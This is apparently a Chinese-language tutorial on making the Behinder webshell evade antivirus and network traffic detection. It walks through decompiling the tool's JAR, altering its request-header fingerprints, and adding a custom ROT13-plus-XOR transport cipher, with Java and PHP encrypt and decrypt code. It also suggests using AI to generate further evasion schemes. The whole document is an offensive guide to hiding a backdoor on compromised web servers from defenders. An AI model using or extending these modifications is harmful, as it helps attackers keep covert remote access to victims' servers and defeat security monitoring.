免杀对抗-1

Webshell免杀

http://bypass.tidesec.com/
原理:
1,webshell工具里面的后门代码不被病毒检测到-混淆
2,webshell工具里面的功能操作不被杀毒拦截到-魔改
3,webshell工具里面的操作连接不被平台捕获到-魔改

通过对冰蝎的数据包分析:
1,请求数据包的两个强特征
2,已知数据的提交内容加密算法
流量平台设备可以分析数据包的两个强特征
提交数据进行默认算法解密去分析是否为冰蝎工具连接
数据包特征:

application/json, text/javascript, /; q=0.01

解决1:绕过识别(魔改打乱特征,新增加密算法)
解决2:绕过查杀(魔改打乱特征,新增加密算法)

魔改冰蝎

JAR反编译打包架构
1,反编译Jar
https://www.decompiler.com/
在idea中新建一个项目
创建lib目录
将Behinder文件原有的内容放入进去

并将反编译的文件也放入到文件中
在项目结构中加入


在文件中查找特征
application/json, text/javascript, /; q=0.01
Accept-Language:zh-CN,zh; q=0.9,en-US;q=0.8,en;g=0.7

更改加密特征
查看加密算法,随意选择一个加密算法,复制其中的代码段,到文件中去查找位置

路径:\net\rebeyond\behinder\resource\transprotocol

只需要将需要更改的内容放入到src目录中

加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private byte[] Encrypt(byte[] data) throws Exception {
String key = "e45e329feb5d925b";

// 添加ROT13加密
for (int i = 0; i < data.length; i++) {
byte b = data[i];
if (b >= 'a' && b <= 'z') { // 处理小写字母
b = (byte) ((b - 'a' + 13) % 26 + 'a');
} else if (b >= 'A' && b <= 'Z') { // 处理大写字母
b = (byte) ((b - 'A' + 13) % 26 + 'A');
}
data[i] = b;
}

// 原有异或加密
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key.getBytes()[i + 1 & 15]);
}
return data;
}

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private byte[] Decrypt(byte[] data) throws Exception {
String key = "e45e329feb5d925b";

// 第一步:逆向异或操作(与加密相同)
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key.getBytes()[i + 1 & 15]);
}

// 第二步:逆向ROT13操作(与加密相同)
for (int i = 0; i < data.length; i++) {
byte b = data[i];
if (b >= 'a' && b <= 'z') { // 处理小写字母
b = (byte) ((b - 'a' + 13) % 26 + 'a');
} else if (b >= 'A' && b <= 'Z') { // 处理大写字母
b = (byte) ((b - 'A' + 13) % 26 + 'A');
}
data[i] = b;
}

return data;
}

可用ai將原有的加密方式添加或重新生成新的加密算法

提示保存成功表示代码没有问题
点击分享保存

将保存的文件放入文件加密解密目录下\net\rebeyond\behinder\resource\transprotocol

生成的是jsp的文件,如果要使用php的
还是使用ai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function encrypt($data) {
$key = "e45e329feb5d925b";
$keyBytes = array_values(unpack('C*', $key)); // 将密钥转为字节数组

// 执行ROT13加密
for ($i = 0; $i < strlen($data); $i++) {
$byte = ord($data[$i]);
if ($byte >= ord('a') && $byte <= ord('z')) {
$byte = (($byte - ord('a') + 13) % 26) + ord('a');
} elseif ($byte >= ord('A') && $byte <= ord('Z')) {
$byte = (($byte - ord('A') + 13) % 26) + ord('A');
}
$data[$i] = chr($byte);
}

// 执行异或加密
$encrypted = '';
for ($i = 0; $i < strlen($data); $i++) {
$keyIndex = ($i + 1) & 15; // 等同于 (i+1) % 16
$encryptedByte = ord($data[$i]) ^ $keyBytes[$keyIndex];
$encrypted .= chr($encryptedByte);
}

return $encrypted;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function decrypt($encrypted) {
$key = "e45e329feb5d925b";
$keyBytes = array_values(unpack('C*', $key)); // 将密钥转为字节数组

// 第一步:异或解密
$data = '';
for ($i = 0; $i < strlen($encrypted); $i++) {
$keyIndex = ($i + 1) & 15; // 等同于 (i+1) % 16
$decryptedByte = ord($encrypted[$i]) ^ $keyBytes[$keyIndex];
$data .= chr($decryptedByte);
}

// 第二步:ROT13解密
$decrypted = '';
for ($i = 0; $i < strlen($data); $i++) {
$byte = ord($data[$i]);
if ($byte >= ord('a') && $byte <= ord('z')) {
$byte = (($byte - ord('a') + 13) % 26) + ord('a');
} elseif ($byte >= ord('A') && $byte <= ord('Z')) {
$byte = (($byte - ord('A') + 13) % 26) + ord('A');
}
$decrypted .= chr($byte);
}

return $decrypted;
}


后构建项目,再构建工件生成jar文件
测试:

其他加密算法:
参考此文章
https://xz.aliyun.com/news/11899